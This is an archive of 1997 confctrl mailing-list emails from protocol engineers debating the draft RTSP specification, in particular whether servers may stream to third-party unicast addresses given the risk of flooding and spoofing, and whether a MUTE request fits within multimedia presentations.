Message-Id: <13091.861380582@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Why would you define a feature and then strongly recommend that it not
>be deployed?
>
>Wouldn't it be much more reasonable to either not define the feature at
>all or else ensure that hooks exist to work with another protocol in
>which the feature actually belongs?

The question is one of where the relevant authorisation mechanism
should be.  Looking at the RTSP architecture, it doesn't feel like
this is the right place for such an authorisation mechanism, partly
because it adds a lot of extra complexity, and partly because it seems
to be a more generic function that may well benefit other
applications.

If this is indeed the case, then the correct course of action is to
provide the request mechanism in the RTSP *protocol*, but dictate that
it not be used unless an appropriate authorisation mechanism is
available.

The thing here is to distinguish policy and mechanism.  If it's an
appropriate mechanism to send to a specified multicast address it
should probably be an appropriate mechanism to send to a specified
unicast address.  The difference between the two is policy, and policy
not be designed into a protocol *at this level*.

Mark

From majordom@ISI.EDU  Fri Apr 18 02:41:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15339>; Fri, 18 Apr 1997 09:42:05 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15333>; Fri, 18 Apr 1997 09:42:01 -0700
Received: from INET-03-IMC.microsoft.com (mail3.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22203>; Fri, 18 Apr 1997 09:42:01 -0700
Received: by INET-03-IMC with Internet Mail Service (5.0.1458.14)
	id <JC9P98R5>; Fri, 18 Apr 1997 09:42:49 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F748C@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: MUTE in RTSP
Date: Fri, 18 Apr 1997 09:41:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The Sept 26th version of the RTSP spec introduced the much-needed
concept of "presentation" which was defined (see section 1.3) as "a set
of one or more streams which the server allows the client to manipulate
together." These streams are treated as a "unit", a "multimedia bundle"
so-to-speak.

The spec also preserves the concept of permitting separate media streams
(which have not been defined into a presentation) to be controlled from
the same source. That is, a set of multimedia streams may be formed into
a logical session via registration/announcement facilities. The user is
freely able to address and modify each of these streams within the
constraints supported by RTSP.

I believe that these two different control mechanisms provide us with
the necessary insight to agree to what MUTE should mean in RTSP.

In the first instance, all media streams are treated as a unit and are
transparently manipulated together. In most/many cases, "presentations"
will be the product of content creators who have designed these streams
"off line" to function as that unit to create the intended multimedia
experience. A MUTE, in this context, would introduce an orthogonal
concept of providing independent control for one of those streams in the
"multimedia bundle". This is hostile to the basic underlying philosophy
of what a "presentation" actually is. MUTE is totally inappropriate
within a "presentation" since it wars with the "core underlying
philosophy" of what a "presentation" actually is.

In the second instance, RTSP provides for the independent control of
multiple media streams which the user (via the intermediate
registration/announcement facilities) has orchestrated into a single
logical session. RTSP has already provided the user with the ability to
do a MUTE within this context by permitting him/her to PAUSE the audio
stream and at a subsequent time to PLAY with Offset that same stream. A
Mute in this instance, therefore, is merely a "simplification" to the
PAUSE...PLAY with Offset sequence. I have no objection to a MUTE if it
is solely targeted to this (non-presentation) environment since it
automates what the "Offset" should be in the "Play with Offset" part of
the sequence. More importantly, a MUTE in this context is fully
consistent with the "underlying philosophies" of such logical sessions. 


From majordom@ISI.EDU  Fri Apr 18 08:42:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15563>; Fri, 18 Apr 1997 09:44:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15554>; Fri, 18 Apr 1997 09:44:51 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22350>; Fri, 18 Apr 1997 09:44:48 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA13189; Fri, 18 Apr 1997 12:42:15 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Sampo Syreeni'" <decoy@edu.lahti.fi>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of con trol messages 
In-Reply-To: Your message of "Fri, 18 Apr 1997 09:11:17 PDT."
             <503A2A3C2932CF118D8800805FD44E18032F748A@RED-68-MSG.dns.microsoft.com> 
Date: Fri, 18 Apr 1997 12:42:15 -0400
Message-Id: <13187.861381735@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I believe that this provision, suggested at the latest IETF, is
>representative of undesirable "scope creep".

>Like the majority attending the IETF session in which this was proposed,
>I do believe that the idea is a very good one. However, the idea is
>improperly targeted: it addresses a conferencing need, not a streaming
>need. RTSP is an inappropriate place whereby this idea should be
>enacted. Rather, I believe that this idea belongs with H.323 and MBONE
>*conferencing*.

The provision to send to a multicast address has been in there since
last summer.  It's not scope creep at all, and the need to be able to
play into a multicast session is one of the main reasons why this is
being discussed in MMUSIC at all.  Remove this ability from the RTSP
spec, and a new parallel standards track spec addressing this issue
will simply emerge to satisfy this need, and none of us desire that to
happen.

The question of sending to a third-party unicast address is what is
being discussed here.  This requires no additional mechanism to
implement once you can send to a multicast address, but does raise
serious security issues.  The question on the table is at what level
to address those security issues.  

Mark


From majordom@ISI.EDU  Fri Apr 18 02:51:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16032>; Fri, 18 Apr 1997 09:52:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16026>; Fri, 18 Apr 1997 09:52:21 -0700
Received: from INET-01-IMC.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22731>; Fri, 18 Apr 1997 09:52:19 -0700
Received: by mail1.microsoft.com with Internet Mail Service (5.0.1458.14)
	id <JC7PKZVB>; Fri, 18 Apr 1997 09:51:59 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F748D@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'David Oran' <oran@cisco.com>, Sampo Syreeni <decoy@edu.lahti.fi>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: RE: RTSP: 6. Destination for data that is not the source of   con
	trol messages
Date: Fri, 18 Apr 1997 09:51:55 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

RTCP use is great. However, one of the underlying concepts of RTSP was
that it was to be "neutral" about the data delivery protocol. RTCP just
doesn't care whether the data -- and RTSP "control messages" themselves
-- is carried by UDP, TCP, UPD/RTP, TCP/RTP or Joe's recent transport
invention. Thus, binding RTSP to RTP represents a change in thinking as
to what RTSP actually is.

There is power in limiting RTSP to its original constraints and relying
on other protocols, in partnership with RTSP, to fill in those holes
which are purposefully "out of scope" to RTSP itself.

> -----Original Message-----
> From:	David Oran [SMTP:oran@cisco.com]
> Sent:	Friday, April 18, 1997 8:11 AM
> To:	Sampo Syreeni; Henning Schulzrinne
> Cc:	Rob Lanphier; confctrl@ISI.EDU
> Subject:	Re: RTSP: 6. Destination for data that is not the source
> of   control messages
> 
> >Hmm. I think direct instantiation of high-speed links to (possibly)
> >unknown (unknowing) participants isn't very neat. If a mechanism of
> this
> >kind is needed, it shouldn't initiate the data transfer but, rather,
> an
> >off-band  negotiation cycle (on RTSP?). Of course, this is a no-no
> for
> >multicast addresses... Comments?
> >
> Well, there's no other way to specify a multicast address than for
> either
> the client or the server to pick it.
> 
> Actually, multicast addresses are safer than unicast addresses since
> receivers have to join the multicast group before the data flows. 
> 
> In thinking about this thread, if a client wants data sent to some
> random
> IP address, the server shouldn't do it unless something at that IP
> address
> says it's OK. Maybe we have to invent a simple UDP-based protocol from
> the
> destination address to the server to actually turn on transmission, or
> possibly add an RTCP message that comes from a unicast destination
> back to
> the server before data will flow.
> 
> The more I think about it, the more I think the RTCP idea may be worth
> pursuing since it would work on any RTP stream coming from a
> cooperating
> source (which the RTSP server is likely to be) but wouldn't be
> dependent on
> RTSP - other protocols might run into similar 3rd party spoofing
> problems.
> 
> -----------------
> David R. Oran
> Cisco Systems		Direct: 408-527-0567
> 7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
> Acton, MA 01720	EMail: oran@cisco.com

From majordom@ISI.EDU  Fri Apr 18 03:00:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16681>; Fri, 18 Apr 1997 10:01:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16669>; Fri, 18 Apr 1997 10:01:00 -0700
Received: from mailbag.jf.intel.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23273>; Fri, 18 Apr 1997 10:00:59 -0700
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5]) by mailbag.jf.intel.com (8.8.5/8.7.3) with ESMTP id KAA12445; Fri, 18 Apr 1997 10:03:12 -0700 (PDT)
Received: from cirrus (cirrus.jf.intel.com [134.134.221.167])
          by ideal.jf.intel.com (8.8.5/8.8.4) with SMTP
	  id JAA04240; Fri, 18 Apr 1997 09:58:06 -0700 (PDT)
Message-Id: <2.2.32.19970418170015.00927e18@ibeam.intel.com>
X-Sender: prl@ibeam.intel.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 18 Apr 1997 10:00:15 -0700
To: Eric Fleischman <ericfl@MICROSOFT.com>
From: Philip Lantz <prl@ideal.jf.intel.com>
Subject: RE: RTSP: 6. Destination for data that is not the source of
  control messages
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:11 AM 4/18/97 -0700, Eric Fleischman wrote:

>I suggest rather that we ensure that RTSP has the necesary "hooks" to
>stream data into H.323 conferences and into MBONE conferences.

Eric, could you please clarify what you mean by a "hook"? That's exactly
what I was thinking the proposed mechanism is: a hook to allow an RTSP
server to stream data into a conference. If you have some other sort of hook
in mind to support this, I would like to hear about it.

Philip Lantz
prl@ibeam.intel.com


From majordom@ISI.EDU  Fri Apr 18 09:15:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18124>; Fri, 18 Apr 1997 10:16:26 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18118>; Fri, 18 Apr 1997 10:16:24 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA24229>; Fri, 18 Apr 1997 10:16:22 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id KAA06153; Fri, 18 Apr 1997 10:15:11 -0700
Message-Id: <3.0.1.32.19970418131503.007fb2e0@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 13:15:03 -0400
To: Eric Fleischman <ericfl@MICROSOFT.com>, Sampo Syreeni <decoy@edu.lahti.fi>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: David Oran <oran@cisco.com>
Subject: RE: RTSP: 6. Destination for data that is not the source of  
  control messages
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F748D@RED-68-MSG.dns.mi
 crosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:51 AM 4/18/97 -0700, Eric Fleischman wrote:
>RTCP use is great. However, one of the underlying concepts of RTSP was
>that it was to be "neutral" about the data delivery protocol. 
Eric, I can't tell from this whether you're arguing in favor of, or
against, my idea of using RTCP to protect unicast sinks from being
bombarded with unwanted data. :-) See below...

>RTCP just
>doesn't care whether the data -- and RTSP "control messages" themselves
>-- is carried by UDP, TCP, UPD/RTP, TCP/RTP or Joe's recent transport
>invention. Thus, binding RTSP to RTP represents a change in thinking as
>to what RTSP actually is.
>
I don't think of this at all as "binding" RTP and RTSP together. Clearly
the RTCP method would only work for streams delivered to unicast sinks
through RTP.

>There is power in limiting RTSP to its original constraints and relying
>on other protocols, in partnership with RTSP, to fill in those holes
>which are purposefully "out of scope" to RTSP itself.
>
I agree with this. In fact, let me take this one step further. Your logic
argues that RTSP cannot safely interpret *any* particular delivery address
to decide if that address is co-located with the RTSP client. Let's say we
want RTSP to deliver a stream straight on top of an ATM VC, using Q.2931
addresses. How would the RTSP server figure out whether that ATM address
isn't some poor sucker who will accept an incoming VC and get spammed? The
only way to deal with this in general is for the server to learn directly
from the stream sink whether it wants the data.

-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 10:04:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22014>; Fri, 18 Apr 1997 11:05:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22008>; Fri, 18 Apr 1997 11:05:05 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27945>; Fri, 18 Apr 1997 11:04:59 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id LAA07818; Fri, 18 Apr 1997 11:04:57 -0700
Message-Id: <3.0.1.32.19970418140456.007ff4a0@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Fri, 18 Apr 1997 14:04:56 -0400
To: Eric Fleischman <ericfl@MICROSOFT.com>, confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F748C@RED-68-MSG.dns.mi
 crosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:41 AM 4/18/97 -0700, Eric Fleischman wrote:
[snip]
>In the first instance, all media streams are treated as a unit and are
>transparently manipulated together. In most/many cases, "presentations"
>will be the product of content creators who have designed these streams
>"off line" to function as that unit to create the intended multimedia
>experience. A MUTE, in this context, would introduce an orthogonal
>concept of providing independent control for one of those streams in the
>"multimedia bundle". This is hostile to the basic underlying philosophy
>of what a "presentation" actually is. MUTE is totally inappropriate
>within a "presentation" since it wars with the "core underlying
>philosophy" of what a "presentation" actually is.
>
Huh? I don't follow this at all. Let's take a presentation like a carefully
ported version of John Waters' famous film Pink Flamingos, which has video,
audio, and smell-o-rama. Now, I'm watching this in my kitchen and I say,
sheesh, I like the movie, but this smell-o-rama stuff really stinks! So, I
hit the "mute-the-smell" button on my player. Now, of course you can do
this as a purely local function, but I see no reason why you shouldn't be
able to tell the server that the smell is muted so the server doesn't have
to transmit all the synthesis instructions to the local olfactory molecule
replicator.

Is John Waters going to come down to my house a berate me because I did
something "hostile to the basic undelying philosophy of what a presentation
is"?...well maybe John Waters *would* do that - never mind :-).

>In the second instance, RTSP provides for the independent control of
>multiple media streams which the user (via the intermediate
>registration/announcement facilities) has orchestrated into a single
>logical session. RTSP has already provided the user with the ability to
>do a MUTE within this context by permitting him/her to PAUSE the audio
>stream and at a subsequent time to PLAY with Offset that same stream. A
>Mute in this instance, therefore, is merely a "simplification" to the
>PAUSE...PLAY with Offset sequence. I have no objection to a MUTE if it
>is solely targeted to this (non-presentation) environment since it
>automates what the "Offset" should be in the "Play with Offset" part of
>the sequence. More importantly, a MUTE in this context is fully
>consistent with the "underlying philosophies" of such logical sessions. 
>
You just did an "undef" of MUTE by saying it's just PAUSE followed by PLAY.
That's OK with me, except then you'll invoke the "presentation principle"
above to say I aint' oughta do dat.

If we can just treat MUTE as a friendly server optimization that a client
can send over to save the server some work, what's all the broughhahaha about?

What am I missing here?


-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Fri Apr 18 05:44:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01611>; Fri, 18 Apr 1997 13:11:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01605>; Fri, 18 Apr 1997 13:11:05 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06367>; Fri, 18 Apr 1997 13:11:04 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id MAA06605; Fri, 18 Apr 1997 12:44:39 -0700
Date: Fri, 18 Apr 1997 12:44:38 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@isi.edu
Subject: Re: MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F748C@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970418123813.3076C-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> ... A MUTE, in this context, would introduce an orthogonal
> concept of providing independent control for one of those streams in the
> "multimedia bundle". This is hostile to the basic underlying philosophy
> of what a "presentation" actually is. MUTE is totally inappropriate
> within a "presentation" since it wars with the "core underlying
> philosophy" of what a "presentation" actually is.

???!!  Do you mean that if I'm watching my network TV and that I stop the
sound from playing while I answer the telephone that I'm doing something
"totally inappropriate"?  I'm in a lot of trouble then. 

If the person in control of a group of media streams (a "presentation" 
perhaps) wants to say "don't send the audio portion for a while, but keep
the clock ticking" and the server honors that request, then I say hurray! 
It's what the user wants and its good for the network. 

			--karl--



From majordom@ISI.EDU  Fri Apr 18 17:00:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15908>; Fri, 18 Apr 1997 18:04:08 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15902>; Fri, 18 Apr 1997 18:04:07 -0700
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26958>; Fri, 18 Apr 1997 18:04:05 -0700
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Apr 18 21:02:47 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Apr 18 21:02:46 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id VAA28968 for <confctrl@isi.edu>; Fri, 18 Apr 1997 21:00:15 -0400 (EDT)
Message-Id: <3358191F.27B8@cs.columbia.edu>
Date: Fri, 18 Apr 1997 21:00:15 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Re: RTSP: 6. Destination for data that is not the source of   con trol messages
References: <503A2A3C2932CF118D8800805FD44E18032F748D@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A few quick remarks:

1) In many cases, RTSP will want to do authentication. Indeed, it
already offers reasonably secure facilities (digest) and barely secure
(basic) facilities to do that, in either UDP or TCP. Authentication will
be needed, in particular, for pay-per-view or limited distribution
services. In those cases, the redirect poses a limited risk (assuming
the server has a suitable contract with the authenticated party and has
some hope of legal or contractual recourse).

2) Just adding another UDP protocol asking "do you really want this
stream" won't work. The perp just directs the stream to a non-existent
address on an existing subnet and fakes the 'yes, please, send' messages
or RTCP messages. This could be prevented by a challenge-response
protocol, but then we are basically back to case 1, which is already
supported as is.

Thus, given that we really can't prevent people from allowing a single
unicast address (instead of multicast) as a destination, that not
allowing third-party addresses will still be possible without the
feature (simply by faking UDP RTSP commands to come from the targeted
site) and that it does not increase protocol complexity, my suggestion
would be to leave the feature in, but strongly suggest that servers
require authentication for any UDP command (at least), regardless of
whether it asks for redirect or not.

Henning

From majordom@ISI.EDU  Fri Apr 18 17:02:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15954>; Fri, 18 Apr 1997 18:06:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15948>; Fri, 18 Apr 1997 18:06:05 -0700
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27065>; Fri, 18 Apr 1997 18:06:04 -0700
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Apr 18 21:05:02 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Apr 18 21:05:01 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id VAA28971 for <confctrl@isi.edu>; Fri, 18 Apr 1997 21:02:28 -0400 (EDT)
Message-Id: <335819A3.4B50@cs.columbia.edu>
Date: Fri, 18 Apr 1997 21:02:27 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Re: RTSP: 6. Destination for data that is not the source of   control messages
References: <2.2.32.19970418170015.00927e18@ibeam.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philip Lantz wrote:
> 
> At 09:11 AM 4/18/97 -0700, Eric Fleischman wrote:
> 
> >I suggest rather that we ensure that RTSP has the necesary "hooks" to
> >stream data into H.323 conferences and into MBONE conferences.
> 
> Eric, could you please clarify what you mean by a "hook"? That's exactly
> what I was thinking the proposed mechanism is: a hook to allow an RTSP
> server to stream data into a conference. If you have some other sort of hook
> in mind to support this, I would like to hear about it.


The hook is there, via the Conference: header. This will likely be
needed for H.323 and similar, where a media server can't just be told to
send to a given uc/mc address without introducing itself properly via a
signaling protocol.

> 
> Philip Lantz
> prl@ibeam.intel.com

From majordom@ISI.EDU  Fri Apr 18 09:44:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17692>; Fri, 18 Apr 1997 19:21:24 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17676>; Fri, 18 Apr 1997 19:21:22 -0700
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA29890>; Fri, 18 Apr 1997 19:21:20 -0700
Received: by INET-04-IMC with Internet Mail Service (5.0.1458.14)
	id <JGXB0JX3>; Fri, 18 Apr 1997 18:57:47 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F7495@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'David Oran' <oran@cisco.com>, confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
Date: Fri, 18 Apr 1997 16:44:39 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Streaming a presentation (i.e., multiple multimedia streams treated as a
single entity) is the most efficient streaming approach possible for a
server. 

Should one then treat one media type differently from another then one
is no longer treating the multiple streams as a unit. Whenever you do
this you increase server overhead tremendously. 

The amount of "tremendously" depends on the implementation. If you have
an approach especially tailored for maximum server efficiency such as
ours, the overhead of doing this is immense.

> -----Original Message-----
> From:	David Oran [SMTP:oran@cisco.com]
> Sent:	Friday, April 18, 1997 11:05 AM
> To:	Eric Fleischman; confctrl@ISI.EDU
> Subject:	Re: MUTE in RTSP
> 
> At 09:41 AM 4/18/97 -0700, Eric Fleischman wrote:
> [snip]
> >In the first instance, all media streams are treated as a unit and
> are
> >transparently manipulated together. In most/many cases,
> "presentations"
> >will be the product of content creators who have designed these
> streams
> >"off line" to function as that unit to create the intended multimedia
> >experience. A MUTE, in this context, would introduce an orthogonal
> >concept of providing independent control for one of those streams in
> the
> >"multimedia bundle". This is hostile to the basic underlying
> philosophy
> >of what a "presentation" actually is. MUTE is totally inappropriate
> >within a "presentation" since it wars with the "core underlying
> >philosophy" of what a "presentation" actually is.
> >
> Huh? I don't follow this at all. Let's take a presentation like a
> carefully
> ported version of John Waters' famous film Pink Flamingos, which has
> video,
> audio, and smell-o-rama. Now, I'm watching this in my kitchen and I
> say,
> sheesh, I like the movie, but this smell-o-rama stuff really stinks!
> So, I
> hit the "mute-the-smell" button on my player. Now, of course you can
> do
> this as a purely local function, but I see no reason why you shouldn't
> be
> able to tell the server that the smell is muted so the server doesn't
> have
> to transmit all the synthesis instructions to the local olfactory
> molecule
> replicator.
> 
> Is John Waters going to come down to my house a berate me because I
> did
> something "hostile to the basic undelying philosophy of what a
> presentation
> is"?...well maybe John Waters *would* do that - never mind :-).
> 
> >In the second instance, RTSP provides for the independent control of
> >multiple media streams which the user (via the intermediate
> >registration/announcement facilities) has orchestrated into a single
> >logical session. RTSP has already provided the user with the ability
> to
> >do a MUTE within this context by permitting him/her to PAUSE the
> audio
> >stream and at a subsequent time to PLAY with Offset that same stream.
> A
> >Mute in this instance, therefore, is merely a "simplification" to the
> >PAUSE...PLAY with Offset sequence. I have no objection to a MUTE if
> it
> >is solely targeted to this (non-presentation) environment since it
> >automates what the "Offset" should be in the "Play with Offset" part
> of
> >the sequence. More importantly, a MUTE in this context is fully
> >consistent with the "underlying philosophies" of such logical
> sessions. 
> >
> You just did an "undef" of MUTE by saying it's just PAUSE followed by
> PLAY.
> That's OK with me, except then you'll invoke the "presentation
> principle"
> above to say I aint' oughta do dat.
> 
> If we can just treat MUTE as a friendly server optimization that a
> client
> can send over to save the server some work, what's all the
> broughhahaha about?
> 
> What am I missing here?
> 
> 
> -----------------
> David R. Oran
> Cisco Systems		Direct: 408-527-0567
> 7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
> Acton, MA 01720	EMail: oran@cisco.com

From majordom@ISI.EDU  Fri Apr 18 16:06:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20108>; Fri, 18 Apr 1997 23:05:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20102>; Fri, 18 Apr 1997 23:05:47 -0700
Received: from cronus.rockisland.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06342>; Fri, 18 Apr 1997 23:05:43 -0700
Received: from Gray (nts40.rockisland.com [199.217.72.90]) by cronus.rockisland.com (8.8.2/8.6.9) with SMTP id XAA10298; Fri, 18 Apr 1997 23:02:54 -0700 (PDT)
Message-Id: <1.5.4.32.19970419060615.0087b2b4@CreativeConnections.com>
X-Sender: grayc@CreativeConnections.com
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 18 Apr 1997 23:06:15 -0700
To: Eric Fleischman <ericfl@MICROSOFT.com>
From: Gray Cope <grayc@CreativeConnections.com>
Subject: Re: MUTE in RTSP
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric,

I think I understand your concern regarding some content creators
not wanting their "multimedia bundle" altered by muting individual
streams within their presentation.

So if the RTSP specification did not _require_ the MUTE request to be
implemented would that address your concerns?

Ultimately the content creator or distributor can exercise control
over how their presentation is delivered.  That is they can specify
that their content not be delivered by a service that implements
the MUTE request.

Gray

At 09:41 AM 4/18/97 -0700, you wrote:
>The Sept 26th version of the RTSP spec introduced the much-needed
>concept of "presentation" which was defined (see section 1.3) as "a set
>of one or more streams which the server allows the client to manipulate
>together." These streams are treated as a "unit", a "multimedia bundle"
>so-to-speak.
>
>The spec also preserves the concept of permitting separate media streams
>(which have not been defined into a presentation) to be controlled from
>the same source. That is, a set of multimedia streams may be formed into
>a logical session via registration/announcement facilities. The user is
>freely able to address and modify each of these streams within the
>constraints supported by RTSP.
>
>I believe that these two different control mechanisms provide us with
>the necessary insight to agree to what MUTE should mean in RTSP.
>
>In the first instance, all media streams are treated as a unit and are
>transparently manipulated together. In most/many cases, "presentations"
>will be the product of content creators who have designed these streams
>"off line" to function as that unit to create the intended multimedia
>experience. A MUTE, in this context, would introduce an orthogonal
>concept of providing independent control for one of those streams in the
>"multimedia bundle". This is hostile to the basic underlying philosophy
>of what a "presentation" actually is. MUTE is totally inappropriate
>within a "presentation" since it wars with the "core underlying
>philosophy" of what a "presentation" actually is.
>
>In the second instance, RTSP provides for the independent control of
>multiple media streams which the user (via the intermediate
>registration/announcement facilities) has orchestrated into a single
>logical session. RTSP has already provided the user with the ability to
>do a MUTE within this context by permitting him/her to PAUSE the audio
>stream and at a subsequent time to PLAY with Offset that same stream. A
>Mute in this instance, therefore, is merely a "simplification" to the
>PAUSE...PLAY with Offset sequence. I have no objection to a MUTE if it
>is solely targeted to this (non-presentation) environment since it
>automates what the "Offset" should be in the "Play with Offset" part of
>the sequence. More importantly, a MUTE in this context is fully
